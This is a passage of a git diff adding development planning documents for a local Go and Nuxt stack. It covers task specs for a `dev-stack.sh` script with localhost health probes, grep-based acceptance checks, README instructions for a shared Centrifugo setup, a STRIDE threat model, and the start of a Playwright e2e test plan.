+2. `check_keys` (D-08): REQUIRED_KEYS = SUMMER_DATABASE__DSN, SUMMER_APP__KEY, SUMMER_GOLEM15__USER__JWT__SECRET, SUMMER_ADMIN__JWT__SECRET, SUMMER_SEARCH__TYPESENSE__API_KEY, SUMMER_REALTIME__CENTRIFUGO__API_URL, SUMMER_REALTIME__CENTRIFUGO__API_KEY, SUMMER_REALTIME__CENTRIFUGO__TOKEN_SECRET, DEV_STACK_NUXT_DIR, NUXT_DEV_BACKEND_ORIGIN, NUXT_INTERNAL_API_ORIGIN, NUXT_PUBLIC_CENTRIFUGO_WS_URL. Print `missing: <KEY>` for each unset or empty one, then `refuse: <n> required keys missing in <file>` and exit 1. Never echo a value.
+3. `check_services` (D-06, D-18, D-23): Postgres with `pg_isready -d "$SUMMER_DATABASE__DSN"` and a refusal when the DSN host is not loopback; Typesense `GET http://${SUMMER_SEARCH__TYPESENSE__HOST:-localhost}:${SUMMER_SEARCH__TYPESENSE__PORT:-8181}/health` with a hint `docker start plytarium-typesense-instance`; Centrifugo `POST $SUMMER_REALTIME__CENTRIFUGO__API_URL/info` with the `X-API-Key` header passed on curl's stdin (`-H @-`) so the key never appears in the process list, distinguishing unreachable from key rejected. Each refusal is one `refuse: <service> ...` line. Then an origin probe: a WebSocket upgrade request to the Centrifugo host's `/connection/websocket` with `Origin: http://localhost:3119` and a 2-second limit; a 403 prints `warn: centrifugo does not allow origin http://localhost:3119 — add it to client.allowed_origins in /etc/centrifugo/config.json and restart the service (README)`; never edit that file or restart the service. Then the namespace probe (D-23): for each `<ns>` in `${DEV_STACK_CENTRIFUGO_NAMESPACES:-user collection wishlist}`, `POST $SUMMER_REALTIME__CENTRIFUGO__API_URL/history` with body `{"channel":"<ns>:dev_stack_probe","limit":0}` and the `X-API-Key` header again on curl's stdin; when jq finds `.error.code == 102` print `warn: centrifugo namespace <ns> missing — add {"name": "<ns>", "allow_subscribe_for_client": true} to channel.namespaces in /etc/centrifugo/config.json and restart the service (README)`; treat every other answer (a `result`, code 108 not available, any other code) as present. Use only the `history` method (read-only); never `publish`, `broadcast` or any other mutating API method, and never open the Centrifugo config file. Warnings never refuse: `check` exits 0 when it printed only `warn:` lines.
+4. `build`: `go -C "$FRAMEWORK" build -o "$RUN/summer" ./cmd/summer`, then `"$RUN/summer" build` with cwd APP. Never use a `summer` from PATH.
+5. `seed` (D-01, D-05): with cwd APP run `bin/fonoteka migrate`, `bin/fonoteka fonoteka:dev-seed` (keep its output in `$RUN/seed.out` and on the terminal), `bin/fonoteka fonoteka:reindex`, in that order; any non-zero exit refuses.
+6. `start_go`: refuse when `DEV_STACK_GO_ADDR` is already listening (`ss -ltn`); `setsid bin/fonoteka serve --addr "$DEV_STACK_GO_ADDR"` in the background with stdout and stderr prefixed `[go] ` and appended to `$RUN/go.log` (D-12); record the process group in `$RUN/pids`; wait up to 60 s for the marker on `http://$DEV_STACK_GO_ADDR/_fonoteka/api/v1/_dev/backend`.
+7. `guard` (D-09 part 1 and 2): the origin rules and marker check of the truths above, run against the env values; refusal lines start with `refuse:`.
+8. `start_nuxt` (D-08): refuse when `:3119` is already listening (Pitfall 6); from `DEV_STACK_NUXT_DIR` start `setsid env NUXT_DEV_BACKEND_ORIGIN=... NUXT_INTERNAL_API_ORIGIN=... NUXT_PUBLIC_CENTRIFUGO_WS_URL=... NUXT_PUBLIC_FEEDBACK_WIDGET_KEY="${NUXT_PUBLIC_FEEDBACK_WIDGET_KEY:-}" NUXT_PORT=3119 pnpm dev --port 3119`, output prefixed `[nuxt] ` into `$RUN/nuxt.log`; record its process group. Never create, write, copy or edit a file in the Nuxt checkout.
+9. `probe` (D-09 part 3, D-03): poll up to 180 s for the marker JSON through `http://localhost:3119/_fonoteka/api/v1/_dev/backend`; then require 401 from `http://localhost:3119/_fonoteka/api/v1/albums` and 200 `image/png` for the first `/storage/app/uploads/public/` URL found in `$RUN/seed.out`, fetched through `http://localhost:3119`.
+10. `up` without `--detach` waits on both process groups with an EXIT/INT/TERM trap that kills both groups and removes `$RUN/pids`; `up --detach` returns after the probe. Any failed step also stops whatever this run started. `down` sends TERM to every recorded group, KILL after 10 s, removes `$RUN/pids`, and exits 0 when nothing is recorded.
+
+`.env.dev.example` (D-08): every REQUIRED_KEY plus SUMMER_ENV=local, SUMMER_APP__URL=http://localhost:3119, SUMMER_STORAGE__UPLOADS__SERVE=true, SUMMER_HTTP__ACCESS_LOG=true, DEV_STACK_GO_ADDR=127.0.0.1:8423, NUXT_DEV_BACKEND_ORIGIN and NUXT_INTERNAL_API_ORIGIN both `http://127.0.0.1:8423`, SUMMER_REALTIME__CENTRIFUGO__API_URL=http://127.0.0.1:8787/api, NUXT_PUBLIC_CENTRIFUGO_WS_URL=ws://localhost:8787/connection/websocket, and commented optional E2E_EMAIL, E2E_PASSWORD, DEV_SEED_API_TOKEN, NUXT_PUBLIC_FEEDBACK_WIDGET_KEY. Secrets get empty values or `<placeholder>` text with a comment naming their source (the `user_setup` sources). No real value.
+
+`.gitignore`: add `/.env.dev` and `/storage/app/uploads/public/` (research G11), using the Edit tool. `config/storage.yaml`: add `serve: false` under `uploads` with a comment (set true locally through SUMMER_STORAGE__UPLOADS__SERVE and after cutover). `config/http.yaml`: add `access_log: false` with a comment (SUMMER_HTTP__ACCESS_LOG).
+
+Commit in fonoteka.go with explicit paths only.</action>
+  <verify>
+    <automated>bash -n ../fonoteka.go/scripts/dev-stack.sh &amp;&amp; bash ../fonoteka.go/scripts/dev-stack.sh up --detach &amp;&amp; curl -fsS http://localhost:3119/_fonoteka/api/v1/_dev/backend | jq -e '.backend == "summercms"' &amp;&amp; test "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3119/_fonoteka/api/v1/albums)" = 401; rc=$?; bash ../fonoteka.go/scripts/dev-stack.sh down; exit $rc</automated>
+    <fails_when>Non-zero exit; any line starting with "refuse:" or "missing:"; jq prints false or curl fails; the albums probe is not 401.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `bash -n ../fonoteka.go/scripts/dev-stack.sh` exits 0.
+    - `grep -c 'fonoteka:dev-seed' ../fonoteka.go/scripts/dev-stack.sh` prints at least 1, and `grep -c 'fonoteka:reindex' ../fonoteka.go/scripts/dev-stack.sh` prints at least 1.
+    - `grep -c 'NUXT_INTERNAL_API_ORIGIN' ../fonoteka.go/.env.dev.example` prints at least 1, and `grep -c 'NUXT_DEV_BACKEND_ORIGIN=http://127.0.0.1:8423' ../fonoteka.go/.env.dev.example` prints 1.
+    - `grep -nE '(>|>>|tee|cp|mv|install|sed -i)[^#]*DEV_STACK_NUXT_DIR' ../fonoteka.go/scripts/dev-stack.sh` prints nothing.
+    - `grep -nE 'systemctl|/etc/centrifugo/config.json *>' ../fonoteka.go/scripts/dev-stack.sh` prints nothing.
+    - `grep -c 'DEV_STACK_CENTRIFUGO_NAMESPACES' ../fonoteka.go/scripts/dev-stack.sh` prints at least 1, and `grep -c 'dev_stack_probe' ../fonoteka.go/scripts/dev-stack.sh` prints at least 1 (D-23 namespace probe).
+    - `grep -nE '^[^#]*/(publish|broadcast)\b' ../fonoteka.go/scripts/dev-stack.sh` prints nothing (the probe uses the read-only `history` method only).
+    - `git -C ../fonoteka.go check-ignore -q storage/app/uploads/public/probe.png` exits 0.
+    - The `.gitignore` file read with the Read tool contains the line `/.env.dev` (Bash commands naming that file are blocked by the secret-read guard).
+    - `grep -c 'serve: false' ../fonoteka.go/config/storage.yaml` prints 1, and `grep -c 'access_log: false' ../fonoteka.go/config/http.yaml` prints 1.
+  </acceptance_criteria>
+  <done>One command takes a configured machine from nothing to Go on 127.0.0.1:8423 and Nuxt on :3119, with the marker, a 401 and a seeded cover all answered through Nuxt's proxy, and `down` stops both.</done>
+</task>
+
+<task type="auto">
+  <name>Task 3: guard refusals and the lifecycle, exec and e2e subcommands fail closed</name>
+  <files>../fonoteka.go/scripts/dev-stack.sh</files>
+  <read_first>../fonoteka.go/scripts/dev-stack.sh (Task 2), /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/playwright.config.ts, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/helpers/fonotekaReachable.ts, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/helpers/runTinker.ts, .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-RESEARCH.md (Q2, Q5 preflight logic, Pattern 4, G7)</read_first>
+  <action>Make each piece callable on its own and fail closed (D-09, D-17 groundwork):
+
+- `check`: `load_env`, `check_keys`, `check_services` only, including the origin probe and the D-23 namespace probe; it exits 1 on any `refuse:` line and 0 when it printed only `warn:` lines, so plan 03 can assert on the warnings.
+- `guard`: load the env file only (no key list, no services) so plan 04 can feed planted files through `DEV_STACK_ENV_FILE`. Rules in order, each a `refuse:` line and exit 1: internal origin unset or empty; the two origins differ after trailing-slash normalisation; host not localhost, 127.0.0.1 or ::1; port 8422 (checked before any network call); origin different from `http://$DEV_STACK_GO_ADDR`; marker GET not 200, body without `.backend == "summercms"` (jq), or any response header matching `x-powered-by: php` case-insensitively. `up` calls the same function.
+- `status`: print each recorded process group as running or gone, and the marker result on the Go origin and through :3119; exit 0 only when both are up.
+- `up` idempotency: when `$RUN/pids` lists live groups and the marker answers through :3119, print `already up` and exit 0; when either port is held by a process not in `$RUN/pids`, refuse naming the port.
+- `exec -- <command...>`: `load_env`, then export E2E_BACKEND=go, E2E_GO_BIN=$APP/bin/fonoteka, E2E_GO_DIR=$APP, E2E_BACKEND_URL=http://$DEV_STACK_GO_ADDR, E2E_FRONTEND_URL=http://localhost:3119, E2E_CENTRIFUGO=1, E2E_EMAIL and E2E_PASSWORD (env-file values, else `demo@example.com` / `changeme`, matching the D-04 seed fallback), the four NUXT_* values, unset CI, and exec the command.
+- `e2e [--report-only] <spec...>`: through `exec`, run `pnpm --dir "$DEV_STACK_NUXT_DIR" exec playwright test <spec...> --project=chromium --reporter=json` with `PLAYWRIGHT_JSON_OUTPUT_NAME=$RUN/e2e-<timestamp>.json`; print the report path and `expected/unexpected/skipped/flaky` counts; unless `--report-only`, finish with `e2e-verdict` on that report (D-15 report-only specs are printed, never blocking).
+- `e2e-verdict <file>`: refuse unless the file parses and `stats.expected > 0`, `stats.unexpected == 0`, `stats.skipped == 0`, `stats.flaky == 0` (jq); print the counts either way.
+- A `help` usage text listing every subcommand; an unknown subcommand prints it and exits 2.
+- Env requirements per subcommand: `e2e-verdict`, `down` and `help` read no env file; `guard` reads the env file but not the key list; `check`, `up`, `status`, `exec` and `e2e` load the full env. This keeps the refusal and verdict paths testable on planted inputs (plan 04 `--guard` and `--self-test`).</action>
+  <verify>
+    <automated>S=../fonoteka.go/scripts/dev-stack.sh; T=$(mktemp -d); bash -n "$S" || exit 1; for o in http://127.0.0.1:8422 https://plytarium.com; do printf 'NUXT_DEV_BACKEND_ORIGIN=%s\nNUXT_INTERNAL_API_ORIGIN=%s\n' "$o" "$o" > "$T/g.env"; DEV_STACK_ENV_FILE="$T/g.env" bash "$S" guard > "$T/out" 2>&amp;1 &amp;&amp; exit 1; grep -q '^refuse:' "$T/out" || exit 1; done; printf 'NUXT_DEV_BACKEND_ORIGIN=http://127.0.0.1:8423\n' > "$T/g.env"; DEV_STACK_ENV_FILE="$T/g.env" bash "$S" guard > "$T/out" 2>&amp;1 &amp;&amp; exit 1; grep -q '^refuse:' "$T/out" || exit 1; printf '{"stats":{"expected":3,"unexpected":0,"skipped":1,"flaky":0}}' > "$T/r.json"; bash "$S" e2e-verdict "$T/r.json" &amp;&amp; exit 1; printf '{"stats":{"expected":3,"unexpected":0,"skipped":0,"flaky":0}}' > "$T/r.json"; bash "$S" e2e-verdict "$T/r.json"</automated>
+    <fails_when>Non-zero exit: a planted :8422, plytarium.com or unset-internal-origin case was accepted or printed no "refuse:" line, the skipped report was accepted, or the clean report was refused.</fails_when>
+    <automated>S=../fonoteka.go/scripts/dev-stack.sh; O=$(mktemp); DEV_STACK_CENTRIFUGO_NAMESPACES='user dev_stack_absent_ns' bash "$S" check > "$O" 2>&amp;1; rc=$?; grep -E '^(warn|refuse|missing):' "$O"; test "$rc" -eq 0 &amp;&amp; grep -q '^warn: centrifugo namespace dev_stack_absent_ns missing' "$O" &amp;&amp; ! grep -q '^warn: centrifugo namespace user missing' "$O"</automated>
+    <fails_when>Non-zero exit: `check` exited non-zero or printed a "refuse:" / "missing:" line, the undefined namespace `dev_stack_absent_ns` produced no `warn: centrifugo namespace dev_stack_absent_ns missing` line (positive control, D-23), or the configured `user` namespace was reported missing (negative control).</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -cE '^ *(up|down|status|check|guard|exec|e2e|e2e-verdict|help)\)' ../fonoteka.go/scripts/dev-stack.sh` prints at least 9.
+    - `grep -ci 'x-powered-by' ../fonoteka.go/scripts/dev-stack.sh` prints at least 1.
+    - `grep -c 'PLAYWRIGHT_JSON_OUTPUT_NAME' ../fonoteka.go/scripts/dev-stack.sh` prints at least 1, and `grep -c 'already up' ../fonoteka.go/scripts/dev-stack.sh` prints at least 1.
+    - `bash ../fonoteka.go/scripts/dev-stack.sh nosuchcommand; test $? -eq 2` exits 0.
+  </acceptance_criteria>
+  <done>The guard refuses every stale, remote, mismatched or PHP origin before Nuxt could start, the stack lifecycle is idempotent, any Playwright run through the script fails on a skip, and `check` names every missing Centrifugo namespace (D-23) without refusing.</done>
+</task>
+
+<task type="auto">
+  <name>Task 4: run docs for the local stack in the fonoteka.go README</name>
+  <files>../fonoteka.go/README.md</files>
+  <read_first>../fonoteka.go/README.md, ../fonoteka.go/scripts/dev-stack.sh (help text), ../fonoteka.go/.env.dev.example, /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/.env.example (Centrifugo comments, lines 50-90), .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-RESEARCH.md (Q7, Q8 proxy table, G8, G10)</read_first>
+  <action>Add a README section `## Running locally with the Nuxt app` (the app README may name Płytarium and Nuxt). Cover, per D-05..D-09, D-12, D-18, D-23:
+- Prerequisites: a separate Postgres database with the Polish ICU collation (link to § Database setup), never the PHP database; `docker start plytarium-typesense-instance` (port 8181); the shared Centrifugo v6 on :8787 and the operator step (D-18, D-23), done once by a person with root: in `/etc/centrifugo/config.json` add `http://localhost:3119` and `http://127.0.0.1:3119` to the `client.allowed_origins` array, and add two entries to the `channel.namespaces` array (the one that already holds `user`), shown in a `json` fenced block in the README exactly as `{"name": "collection", "allow_subscribe_for_client": true}` and `{"name": "wishlist", "allow_subscribe_for_client": true}`, with no `subscribe_proxy_enabled` and no proxy, so PHP apps on the shared instance are unaffected (dev-grade; production namespace authorization is Phase 20's concern); validate with `sudo centrifugo checkconfig --config=/etc/centrifugo/config.json`, then `sudo systemctl restart centrifugo`. Explain why: the app's realtime code uses `collection:{id}` and `wishlist:{id}` channels (D-23), and without the namespaces Centrifugo answers `102: unknown channel` on either backend.
+- What `dev-stack.sh check` reports for Centrifugo: `warn: centrifugo does not allow origin ...` and `warn: centrifugo namespace <ns> missing ...` (one line per missing namespace among `user`, `collection`, `wishlist`, overridable with `DEV_STACK_CENTRIFUGO_NAMESPACES`); warnings do not stop the stack, realtime just stays off. Limitation: the namespace probe uses the read-only server API `history` call and detects a missing namespace only; whether `allow_subscribe_for_client` is set is not observable that way and is proven by the Playwright realtime spec (`collection:` subscribe answered without an error).
+- Configuration: copy `.env.dev.example` to the git-ignored `.env.dev` and fill each key (table: key, purpose, where the value comes from); `SUMMER_REALTIME__CENTRIFUGO__API_URL=http://127.0.0.1:8787/api` overrides the repository default port 8001.
+- Ports: Nuxt 3119, Go 8423 (loopback), PHP 8422 (may run side by side), Typesense 8181, Centrifugo 8787.
+- Subcommands of `scripts/dev-stack.sh`: `up`, `up --detach`, `down`, `status`, `check`, `guard`, `exec`, `e2e`, `e2e-verdict`, one line each, plus the order `up` runs in and what the guard refuses.
+- Logs (D-12): `tmp/dev-stack/go.log` and `tmp/dev-stack/nuxt.log`; watch them for 4xx/5xx and 404 responses; a `album search engine failed` warning means search fell back to SQL (Typesense down or unindexed).
+- The script never writes `vue-fonoteka-app/.env`; the PHP-targeted setup stays as it is. `/_journal/api` is proxied by Nuxt but answers 404 on Go (the app does not use it).
+- MCP: `fonoteka-mcp` talks to Go directly (Nuxt does not proxy `/api/v1/fonoteka/*`): `FONOTEKA_API_URL=http://localhost:8423`, `FONOTEKA_API_TOKEN=<inv_ secret printed once by fonoteka:dev-seed, or DEV_SEED_API_TOKEN>`.
+- `fonoteka:dev-seed` refuses outside SUMMER_ENV local/dev and is safe to rerun.</action>
+  <verify>
+    <automated>R=../fonoteka.go/README.md; for c in 'up' 'up --detach' 'down' 'status' 'check' 'guard' 'exec' 'e2e' 'e2e-verdict'; do grep -qF "dev-stack.sh $c" "$R" || { echo "missing: $c"; exit 1; }; done; grep -qF 'client.allowed_origins' "$R" &amp;&amp; grep -qF 'http://localhost:3119' "$R" &amp;&amp; grep -qF 'channel.namespaces' "$R" &amp;&amp; grep -qF '{"name": "collection", "allow_subscribe_for_client": true}' "$R" &amp;&amp; grep -qF '{"name": "wishlist", "allow_subscribe_for_client": true}' "$R" &amp;&amp; grep -qF 'centrifugo namespace' "$R" &amp;&amp; grep -qF '8423' "$R" &amp;&amp; grep -qF 'tmp/dev-stack/go.log' "$R" &amp;&amp; grep -qF 'FONOTEKA_API_URL' "$R" &amp;&amp; grep -qF 'fonoteka:dev-seed' "$R"</automated>
+    <fails_when>Non-zero exit, a "missing:" line naming an undocumented subcommand, or the README lacks the D-23 namespace snippet (`channel.namespaces` with the exact `collection` and `wishlist` entries) or the `centrifugo namespace` warning description.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -c '^## Running locally with the Nuxt app' ../fonoteka.go/README.md` prints 1.
+    - `grep -c 'checkconfig' ../fonoteka.go/README.md` prints at least 1 (the operator validates the shared config before the D-23 restart).
+    - `grep -c 'docker start plytarium-typesense-instance' ../fonoteka.go/README.md` prints at least 1.
+    - `grep -c 'systemctl restart centrifugo' ../fonoteka.go/README.md` prints at least 1.
+  </acceptance_criteria>
+  <done>A developer who never saw this phase can configure, start, watch, test and stop the local stack from the README alone.</done>
+</task>
+
+</tasks>
+
+<threat_model>
+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| Developer env file → script | Secrets and origins enter the process environment |
+| Browser and SSR (Nuxt) → backend origin | Requests must reach the local Go binary, never PHP or production |
+| Script → shared host services | Postgres, Typesense and the shared Centrifugo serve other apps |
+| Local network → Go dev server | The dev server must not be reachable from the LAN |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-14.2-08 | Spoofing | Nuxt backend origin (fall-through to PHP or plytarium.com) | high | mitigate | `guard` refuses :8422, non-loopback hosts, unset or mismatched internal origin, a missing marker and any `X-Powered-By: PHP`; `NUXT_INTERNAL_API_ORIGIN` always exported; post-start probe through :3119 |
+| T-14.2-09 | Information Disclosure | dev env file and Centrifugo API key | high | mitigate | `.gitignore` entry plus a refusal when the env file is not git-ignored; template holds placeholders only; values never echoed; the API key goes to curl through stdin, not argv |
+| T-14.2-10 | Spoofing | Go dev server exposure | medium | mitigate | `serve --addr 127.0.0.1:8423`; non-loopback `DEV_STACK_GO_ADDR` refused |
+| T-14.2-11 | Tampering | developer's `vue-fonoteka-app/.env` and PHP setup | high | mitigate | env passed on the `pnpm dev` process only; no write operation targets `DEV_STACK_NUXT_DIR` (acceptance grep) |
+| T-14.2-12 | Tampering | seeding a non-local database | high | mitigate | script forces SUMMER_ENV local/dev and refuses a non-loopback DSN host; the seed itself refuses outside local/dev (T-14.2-01) |
+| T-14.2-13 | Information Disclosure | `tmp/dev-stack/*.log` | low | accept | `tmp/` is git-ignored; Go output passes sunscreen and the access log records patterns only; the seed prints the minted token once by design for local MCP use |
+| T-14.2-21 | Tampering | shared Centrifugo (D-23 namespace probe) | medium | mitigate | The probe calls only the read-only `history` API method on `<ns>:dev_stack_probe` with the API key on curl's stdin; no `publish`/`broadcast` path in the script (acceptance grep); the config file is never read or edited and the restart stays an operator step |
+| T-14.2-SC | Tampering | package installs | high | mitigate | No install: host tools and existing pnpm dependencies only |
+
+ASVS L1; every high threat is mitigated.
+</threat_model>
+
+<verification>
+- `bash -n ../fonoteka.go/scripts/dev-stack.sh`; the Task 3 refusal loop; `bash ../fonoteka.go/scripts/dev-stack.sh up --detach` then `status` exits 0, then `down`.
+- `go -C ../fonoteka.go vet ./...` and `go -C ../fonoteka.go test ./plugins/golem15/fonoteka/... -count=1` stay green (config defaults only).
+- `git -C ../fonoteka.go status --porcelain` shows no new untracked file outside the committed set (seeded covers and `tmp/` are ignored).
+</verification>
+
+<success_criteria>
+- `scripts/dev-stack.sh up` starts Go and Nuxt together on host services, in the D-05 order, with logs.
+- Every D-09 refusal case is refused before Nuxt starts; the post-start probe proves the proxy reaches Go.
+- The README documents the run, the Centrifugo operator step (origins plus the D-23 `collection` / `wishlist` namespaces) and MCP pointing.
+- `dev-stack.sh check` names every missing Centrifugo origin or namespace as a `warn:` line (D-23).
+</success_criteria>
+
+<output>
+Create `.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-02-SUMMARY.md` when done
+</output>

.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-03-PLAN.md

@@ -0,0 +1,296 @@
+---
+phase: 14.2-local-fonoteka-frontend-on-local-summercms-backend
+plan: 03
+type: execute
+wave: 3
+depends_on: ["14.2-02"]
+files_modified:
+  - /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/helpers/runTinker.ts
+  - /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/auth.setup.ts
+  - /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/.env.example
+  - /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/realtime.spec.ts
+  - /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/album-edit-rate-cover.spec.ts
+  - /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/album-search.spec.ts
+  - /media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/wishlist.spec.ts
+  - .planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-UAT.md
+autonomous: false
+requirements: [QA-05]
+estimate:
+  tokens: 220000
+  raw_tokens: 220000
+  tasks: 4
+  confidence: low  # uncalibrated (factor 1, sample_count 0); 2 of 4 tasks are checkpoints; plan count locked at 4 by D-22
+must_haves:
+  truths:
+    - "Per D-14, with `E2E_BACKEND=go` the Playwright seed helper `seedE2EFixtures()` runs `$E2E_GO_BIN fonoteka:dev-seed` with cwd `E2E_GO_DIR` (default the binary's parent directory's parent) and throws on a missing binary or a non-zero exit; `runTinker()` throws in Go mode; with `E2E_BACKEND` unset every existing line of the PHP tinker path is unchanged."
+    - "Per D-14, `auth.setup.ts` calls `seedE2EFixtures()` before logging in only when `E2E_BACKEND === 'go'`; with the switch unset its behaviour against PHP is unchanged."
+    - "Per D-13 and D-15, through `dev-stack.sh e2e` the Go gate subset `auth.setup.ts`, `login.spec.ts`, `smoke.spec.ts`, `fonoteka-item.spec.ts`, `public-share.spec.ts`, `realtime.spec.ts`, `i18n.spec.ts`, `album-edit-rate-cover.spec.ts`, `album-search.spec.ts` and `wishlist.spec.ts` passes against the Go stack with `unexpected 0`, `skipped 0`, `flaky 0` and `expected > 0`."
+    - "Per D-16, `album-edit-rate-cover.spec.ts` proves edit, rate and cover upload, `album-search.spec.ts` proves search and `wishlist.spec.ts` proves wishlist add and remove; each seeds its own uniquely named data through the UI or `page.request` on the Nuxt origin and depends on the seed only for the logged-in user."
+    - "Per D-03 and D-19, after a cover upload the album page shows an `img` whose `src` contains `/storage/app/uploads/public/` and whose `naturalWidth` is greater than 0, loaded through the Nuxt `/storage` proxy."
+    - "Per D-21 and D-23, `realtime.spec.ts` no longer uses the removed `realtime-status` / `realtime-degraded` test IDs; with `E2E_CENTRIFUGO=1` it observes the Centrifugo WebSocket: a connect reply, a `collection:` subscription answered without an error (in particular no `102 unknown channel`, which the D-23 namespace step removes), and a publication push on that channel within 15 s of an album created through the API."
+    - "Per D-11, D-16 and D-21, the new and rewritten specs also pass against the PHP backend on :8422 with the app's own PHP-targeted `.env`, or, when PHP cannot be started on the machine, the reason and a manual PHP check are recorded in 14.2-UAT.md and never reported as passed."
+    - "Per D-11 and D-20, this phase changes no file under `vue-fonoteka-app/app/`, adds no UI, and commits only to the vue-fonoteka-app repository itself."
+    - "Per D-18 and D-23, the operator has added `http://localhost:3119` and `http://127.0.0.1:3119` to `client.allowed_origins` and the entries `{\"name\": \"collection\", \"allow_subscribe_for_client\": true}` and `{\"name\": \"wishlist\", \"allow_subscribe_for_client\": true}` (no proxy, no other option) to `channel.namespaces` of the shared Centrifugo, restarted it, and `dev-stack.sh check` prints neither the origin warning nor any `warn: centrifugo namespace` line; Task 3's realtime spec and Task 4's realtime item run only after this step."
+    - "Per D-13, one checklist-driven manual session against the Go stack is recorded in `14.2-UAT.md`: login, browse collections and albums, search, edit, rate, cover upload, wishlist add and remove, realtime working, and no 5xx in `tmp/dev-stack/go.log`."
+  artifacts:
+    - path: "/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/helpers/runTinker.ts"
+      provides: "E2E_BACKEND=go switch (D-14)"
+      contains: "E2E_GO_BIN"
+    - path: "/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/realtime.spec.ts"
+      provides: "backend-agnostic realtime spec (D-21)"
+      contains: "connection/websocket"
+    - path: "/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/album-edit-rate-cover.spec.ts"
+      provides: "edit, rate, cover upload (D-16)"
+      contains: "rating-stars"
+    - path: "/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/album-search.spec.ts"
+      provides: "search (D-16)"
+      contains: "albums-search-input"
+    - path: "/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/wishlist.spec.ts"
+      provides: "wishlist add and remove (D-16)"
+      contains: "wishlist-item-remove"
+    - path: ".planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-UAT.md"
+      provides: "D-13 manual session evidence"
+      contains: "realtime"
+  key_links:
+    - from: "/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/helpers/runTinker.ts"
+      to: "../fonoteka.go/plugins/golem15/fonoteka/console/dev_seed.go"
+      via: "execFileSync(E2E_GO_BIN, ['fonoteka:dev-seed'], { cwd: E2E_GO_DIR })"
+      pattern: "fonoteka:dev-seed"
+    - from: "/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/album-edit-rate-cover.spec.ts"
+      to: "modules/surf/uploads.go"
+      via: "the uploaded cover's /storage/app/uploads/public URL loads through the Nuxt proxy from the framework mount"
+      pattern: "/storage/app/uploads/public/"
+    - from: "../fonoteka.go/scripts/dev-stack.sh"
+      to: "/media/nvme/dev/golem15/fonoteka/vue-fonoteka-app/tests/e2e/auth.setup.ts"
+      via: "dev-stack.sh e2e exports E2E_BACKEND=go, E2E_GO_BIN and E2E_GO_DIR before Playwright runs the setup project"
+      pattern: "E2E_BACKEND"
+  prohibitions:
+    - requirement_id: QA-05
+      category: safety
+      statement: "vue-fonoteka-app MUST keep working against the PHP backend: no app/ source changes, and every new or rewritten spec is run against PHP as well as Go"
+      status: resolved
+      verification: test
+    - requirement_id: QA-05
+      category: safety
+      statement: "Specs MUST NOT change or delete data they did not create; every created album and wishlist entry carries a Date.now() suffix and is removed by the spec, so the developer's PHP database keeps its real data"
+      status: resolved
+      verification: test
+    - requirement_id: QA-05
+      category: transparency
+      statement: "With E2E_BACKEND unset, the PHP tinker seeding path MUST behave exactly as before; the Go switch only adds a branch"
+      status: resolved
+      verification: test
+---
+
+## Phase Goal
+
+**As a** developer, **I want to** run the existing `vue-fonoteka-app` locally against the local `fonoteka.go` SummerCMS backend (not PHP), log in and use the real Nuxt flows, **so that** the port is proven in daily use before production cutover.
+
+This plan's slice: the proof. After it, Playwright exercises every core flow against Go through the real Nuxt app, the same specs pass on PHP, and one human session is on record.
+
+<objective>
+Deliver D-22 plan 03 in vue-fonoteka-app: the `E2E_BACKEND=go` seed switch (D-14), the rewritten realtime spec (D-21), new backend-agnostic specs for edit/rate/cover, search and wishlist (D-16), all verified against Go and PHP (D-11), then the operator's Centrifugo step, origins plus the `collection` / `wishlist` namespaces (D-18, D-23), and the checklist-driven manual session (D-13) recorded as `14.2-UAT.md`.
+
+Purpose: QA-05's "vue-fonoteka-app runs unchanged against the Go backend", proven by the app's own test suite and by a person.
+Output: vue-fonoteka-app commits (its own repository, a submodule of the PHP fonoteka repo; never committed from the superproject), and `14.2-UAT.md` (planning doc, separate commit in summercms.go).
+</objective>
+
+<execution_context>
+@~/.claude/gsd-core/workflows/execute-plan.md
+@~/.claude/gsd-core/templates/summary.md
+</execution_context>
+
+<context>
+@.planning/PROJECT.md
+@.planning/ROADMAP.md
+@.planning/STATE.md
+@.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-CONTEXT.md
+@.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-RESEARCH.md
+@.planning/phases/14.2-local-fonoteka-frontend-on-local-summercms-backend/14.2-02-SUMMARY.md
+
+<interfaces>
